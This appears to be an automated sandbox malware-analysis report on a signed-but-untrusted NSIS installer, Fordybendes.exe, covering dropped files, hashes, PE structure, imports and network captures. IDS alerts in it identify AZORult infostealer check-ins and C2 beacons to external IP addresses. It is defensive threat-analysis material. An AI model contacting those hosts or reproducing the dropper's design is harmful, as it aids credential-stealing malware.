SHA-512:	9B23564154556FA10605FFEB93C7F8B5598490011B1EB2D82A8C3F6927CE7CDBD9D66B91C127131448FFEBFC73B834FBEB6C5F3EDB6BED41A420F024D260F525
Malicious:	false
Preview:	diasenes toxicodermatitis lobscourse glendale aareknuders tenaillon hyperorthognathic autoschediasm..mend psykiskes valutaenheden retelling pokalkampene gemmaceous skaftvvene.conversionism bairam overrendes katalogstrukturernes bortkalds milieuankenvnene.afsaves tideless obeahism naadessag dispermous eksporteventyr betalingssystemer erhvervsgeografien..etui lekture distain rentekompensationerne m.koeksister heterosexual holdenite overpride acetifying dorylinae cylinderhatten spigot gteskabeliges testikelkrft heterosiphonales temacha syzygial..

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre\unanachronistically.pre

Download File

Process:	C:\Users\user\Desktop\Fordybendes.exe
File Type:	data
Category:	dropped
Size (bytes):	1024568
Entropy (8bit):	1.7915837395795455
Encrypted:	false
SSDEEP:	3072:s46Hwq+eX+gvQDjEbLcClSrwNX0xAVuz/8uYSPLIUEsys8O95YcMQnWcyupOh7p:s4U+nDjEbwCQwNXZw7Trys89cxWc5ON
MD5:	5746A54892E27541B31A71A3FC62E0CE
SHA1:	A6EEC088678DB6ECE3BA711D570C8AC75D65FC87
SHA-256:	7193A616744D34264D9E0F3575DEC168F783209298797C16DF40A7AE13894ADA
SHA-512:	AF478EBAC39D90DD0FFB279C8DC251F803D8826A632E9F2767DAAEA41FBEDDCA2040512966B94125877189E8EF3A2D175E0245F65DE3381AF8F6944FA0E4D975
Malicious:	false
Preview:	......................b................\..................................Y.....................................................................U..................7.$................\......................................8....................0.........p.....V..............!.....j.................................\|C.>..............X..............=........~......t.................................`.........k..........~..........................y....................................D........................=....................:....I........r.......................W......................b..........................................7..........................q............................8........................"..............................................?.................................................................................y_....r...........c..........B..............#.......-.L...............o....................O.......!.................................................6........

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Nummerbetegnelser.Til

Download File

Process:	C:\Users\user\Desktop\Fordybendes.exe
File Type:	data
Category:	dropped
Size (bytes):	349553
Entropy (8bit):	7.745961834341793
Encrypted:	false
SSDEEP:	6144:VWNTXO+0XZ216/kWZu57Gj+FWHxJyLkEhmPUAoDeXaGW01m+cBCY:sT++0Xw1kkWZ6g+FWGLBoMbk1Z0D
MD5:	25E5FC4D9FF6F0A434FBCD2B7096DEE3
SHA1:	13298468967B4C9512AB68926C21F10B4887F410
SHA-256:	65B10764BCCC224EDC6CF0A1BD11285BD298FDACD99F6EFED6B659D1CDA140F0
SHA-512:	394B3EF3DC28F86E295F3BAE91EEF9768681AE11B825B18253E6063509E3A05C20C495FE01716130A6C1D41FADCC8220478280CDDE9B894BC5C2469DDA3D595D
Malicious:	false
Preview:	.......................AA.....L.....N....................m.yyy.............WW.............kk..L...XXXX.....b..........~...................%%%%..uu..8.......aaaaa...............ss..oo.......U...a........1.....1.44444.....0...............=.@.............1111.``....kk...0.I.............................W.........++.2222..................................................UUUUU......OO......mmmmm....p...y...1............@@..DDDDD........C...~...............>>>>...0.$$...........................3....................&.&..HHHH..........-..uu..VV................9..G..........Z..............J.NN...............V.WWW..4....*..................VVV....WW.......TTTT.tt....PP.....f................A.LL.ll.\\\.....IIII.........I.................n.....................gggggg....Y.......\|.E..............................)....bb...............}.'''.-...c.LL...____.............z....5..g.........=...........k...@@@.......................e......PP.4.........7.. ..............WW..\\.............bbbb.......i.........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.932256699057516
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Fordybendes.exe
File size:	1'905'008 bytes
MD5:	21ea616cf4f0df2053beae6f4c625213
SHA1:	5b2399a6b7b87f19604bb94a4ebb3bc364b618ce
SHA256:	85f2c33bd270e95170ff8a249ff7c054ce2ad4044c41d6c9d989e7a914ac4cd0
SHA512:	5db9def0e9e9e99ecb6e43047c11e31ea87b08ba0deff652e11c95629f45f8bd037b718d023a499660d5696f331d4bf8d90d7c733f4181cd285811419697c7ed
SSDEEP:	49152:A8jXGmnj2u/T6aFh4yHp3dWojuja2wZjyOeT:PrGqXxFhVHp3dHjd2EBeT
TLSH:	7795231BF62C2DB5DD288637DDA7D6831B4B2CAA42E5374373249B3F25C219E850B613
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.w.F......F...v...F...@...F.Rich..F.........PE..L....C.f.................d...........3............@

File Icon


Icon Hash:	3a52562d1d4d4460

Static PE Info

General

Entrypoint:	0x4033a2
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x660843F1 [Sat Mar 30 16:55:13 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	671f2a1f8aee14d336bab98fea93d734

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Lgnagtige Underhorsemen ", O=Oculinid, L=Sartrouville, S=\xcele-de-France, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	07/03/2024 08:34:01 07/03/2027 08:34:01
Subject Chain	CN="Lgnagtige Underhorsemen ", O=Oculinid, L=Sartrouville, S=\xcele-de-France, C=FR
Version:	3
Thumbprint MD5:	70D7D580B1508D1EADB68181FF6BF90F
Thumbprint SHA-1:	13A676FF8495C73C9997C427378B607CC9B2F819
Thumbprint SHA-256:	D83F10A17D327BA903E208052B4C2EFD126349A098A8F105EFC9A6F6B2F2550A
Serial:	3798FDD2A1C57F81804E4CD7E66C6CA4BEB91799

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000224h
push esi
push edi
xor edi, edi
push 00008001h
mov dword ptr [ebp-14h], edi
mov dword ptr [ebp-0Ch], 0040A188h
mov dword ptr [ebp-08h], edi
mov byte ptr [ebp-04h], 00000020h
call dword ptr [0040809Ch]
mov esi, dword ptr [004080A0h]
lea eax, dword ptr [ebp-000000C4h]
push eax
mov dword ptr [ebp-000000B0h], edi
mov dword ptr [ebp-30h], edi
mov dword ptr [ebp-2Ch], edi
mov dword ptr [ebp-000000C4h], 0000009Ch
call esi
test eax, eax
jne 00007F7468E85AE1h
lea eax, dword ptr [ebp-000000C4h]
mov dword ptr [ebp-000000C4h], 00000094h
push eax
call esi
cmp dword ptr [ebp-000000B4h], 02h
jne 00007F7468E85ACCh
movsx cx, byte ptr [ebp-000000A3h]
mov al, byte ptr [ebp-000000B0h]
sub ecx, 30h
sub al, 53h
mov byte ptr [ebp-2Ah], 00000004h
neg al
sbb eax, eax
not eax
and eax, ecx
mov word ptr [ebp-30h], ax
cmp dword ptr [ebp-000000B4h], 02h
jnc 00007F7468E85AC4h
and byte ptr [ebp-2Ah], 00000000h
cmp byte ptr [ebp-000000AFh], 00000041h
jl 00007F7468E85AB3h
movsx ax, byte ptr [ebp-000000AFh]
sub eax, 40h
mov word ptr [ebp-30h], ax
jmp 00007F7468E85AA6h
mov word ptr [ebp-30h], di
cmp dword ptr [ebp-000000C0h], 0Ah
jnc 00007F7468E85AAAh
and word ptr [ebp+00000000h], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8430	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x33000	0x48988	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1d07f0	0x980
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x294	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x628a	0x6400	c4a2423b5674bfa0f784f8a541b55665	False	0.6612109375	data	6.390159547186612	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1234	0x1400	d169790bd6b8e7821b264cddc934c496	False	0.4265625	data	5.032486821165516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x1a438	0x400	c8ea57e3d910ccbc8ce8b96488c46e9b	False	0.6474609375	data	5.255785049642427	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x25000	0xe000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x33000	0x48988	0x48a00	72059c8569294d0606ac52cb1d0dce76	False	0.7899903184165232	data	7.108237228040365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x33388	0x204bc	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9992213721992078
RT_ICON	0x53848	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.5920679048858394
RT_ICON	0x64070	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.6355896573470675
RT_ICON	0x6d518	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.6632162661737523
RT_ICON	0x729a0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.6352739726027398
RT_ICON	0x76bc8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.6872406639004149
RT_ICON	0x79170	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.698874296435272
RT_ICON	0x7a218	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.7622950819672131
RT_ICON	0x7aba0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.8280141843971631
RT_DIALOG	0x7b008	0x100	data	English	United States	0.5234375
RT_DIALOG	0x7b108	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x7b228	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x7b2f0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x7b350	0x84	data	English	United States	0.7348484848484849
RT_VERSION	0x7b3d8	0x26c	data	English	United States	0.5193548387096775
RT_MANIFEST	0x7b648	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueA, RegEnumKeyA, RegQueryValueExA, RegSetValueExA, RegCloseKey, RegDeleteValueA, RegDeleteKeyA, AdjustTokenPrivileges, LookupPrivilegeValueA, OpenProcessToken, RegOpenKeyExA, RegCreateKeyExA
SHELL32.dll	SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, SHFileOperationA, ShellExecuteExA
ole32.dll	OleUninitialize, OleInitialize, IIDFromString, CoCreateInstance, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	SetDlgItemTextA, GetSystemMetrics, CreatePopupMenu, AppendMenuA, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcA, GetMessagePos, CheckDlgButton, LoadCursorA, SetCursor, GetSysColor, SetWindowPos, GetWindowLongA, IsWindowEnabled, SetClassLongA, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetDlgItemTextA, DialogBoxParamA, CharNextA, ExitWindowsEx, DestroyWindow, CreateDialogParamA, SetTimer, SetWindowTextA, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfA, SendMessageTimeoutA, FindWindowExA, IsWindow, GetDlgItem, SetWindowLongA, LoadImageA, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndPaint, MessageBoxIndirectA, CharPrevA, PeekMessageA, GetClassInfoA, DispatchMessageA, TrackPopupMenu
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectA, SetBkMode, SetTextColor
KERNEL32.dll	CreateFileA, GetTempFileNameA, ReadFile, RemoveDirectoryA, CreateProcessA, CreateDirectoryA, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceA, lstrcpynA, SetErrorMode, GetVersionExA, lstrlenA, GetCommandLineA, GetTempPathA, GetWindowsDirectoryA, WriteFile, ExitProcess, CopyFileA, GetCurrentProcess, GetModuleFileNameA, GetFileSize, GetTickCount, Sleep, SetFileAttributesA, GetFileAttributesA, SetCurrentDirectoryA, MoveFileA, GetFullPathNameA, GetShortPathNameA, SearchPathA, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiA, lstrcmpA, ExpandEnvironmentStringsA, GlobalFree, GlobalAlloc, GetModuleHandleA, LoadLibraryExA, FreeLibrary, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, SetFilePointer, FindClose, FindNextFileA, FindFirstFileA, DeleteFileA, MulDiv, lstrcpyA, MoveFileExA, lstrcatA, WideCharToMultiByte, GetSystemDirectoryA, GetProcAddress, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-29T12:14:45.960317+0200	TCP	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	62661	80	192.168.2.3	188.114.96.3
2024-08-29T12:14:35.249663+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	62659	443	192.168.2.3	5.255.110.9
2024-08-29T12:13:08.403695+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	62658	443	192.168.2.3	5.255.110.9
2024-08-29T12:14:37.754930+0200	TCP	2029136	ET MALWARE AZORult v3.3 Server Response M1	1	80	62660	188.114.96.3	192.168.2.3
2024-08-29T12:14:37.545903+0200	TCP	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	62660	80	192.168.2.3	188.114.96.3
2024-08-29T12:14:37.545903+0200	TCP	2810276	ETPRO MALWARE AZORult CnC Beacon M1	1	62660	80	192.168.2.3	188.114.96.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2024 12:13:06.959568024 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:06.959609032 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:06.959722042 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:06.977483988 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:06.977500916 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:07.838424921 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:07.838516951 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:07.912873983 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:07.912900925 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:07.913253069 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:07.913384914 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:07.922990084 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:07.964507103 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.403717995 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.403747082 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.403768063 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.403949022 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:08.403976917 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.403994083 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.404014111 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.404115915 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:08.404124975 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.404195070 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:08.408643007 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.408663034 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.408813000 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:08.408837080 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.408910036 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:08.410430908 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.410449982 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.410572052 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:08.410584927 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.410670042 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:08.411428928 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.411482096 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:13:08.411511898 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:08.411565065 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:08.412776947 CEST	62658	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:13:08.412797928 CEST	443	62658	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:34.289611101 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:34.289654970 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:34.289727926 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:34.290028095 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:34.290041924 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:34.889255047 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:34.889396906 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:34.890777111 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:34.890785933 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:34.891268015 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:34.891273022 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.249720097 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.249747992 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.249762058 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.249994040 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.250026941 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.250132084 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.251904011 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.251919985 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.252115965 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.252123117 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.252605915 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.336510897 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.336534977 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.336704016 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.336716890 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.336865902 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.337436914 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.337452888 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.337579012 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.337585926 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.337713957 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.338268995 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.338284969 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.338438988 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.338449001 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.338560104 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.339091063 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.339106083 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.339212894 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.339220047 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.339272022 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.423440933 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.423468113 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.423557997 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.423603058 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.423603058 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.423715115 CEST	62659	443	192.168.2.3	5.255.110.9
Aug 29, 2024 12:14:35.423733950 CEST	443	62659	5.255.110.9	192.168.2.3
Aug 29, 2024 12:14:35.832247972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:35.838221073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:35.838293076 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:35.838507891 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:35.846723080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.545758963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.545840025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.545851946 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.545865059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.545876980 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.545888901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.545907974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.545902967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.545954943 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.545988083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.546001911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.546015978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.546027899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.546041965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.546078920 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.550746918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.550836086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.584988117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.585031033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.585043907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.585048914 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.585069895 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.585097075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.585463047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.585515976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.749931097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.749950886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.749967098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.750051022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.750088930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.750206947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.750247955 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.750273943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.750286102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.750308990 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.750329971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.751094103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.751135111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.751141071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.751147985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.751178980 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.751957893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.752032042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.752043009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.752048969 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.752074957 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.752091885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.752810955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.752855062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.752856970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.752867937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.752901077 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.753665924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.753719091 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.753737926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.753748894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.753767967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.753793955 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.754575968 CEST	80	62660	188.114.96.3	192.168.2.3
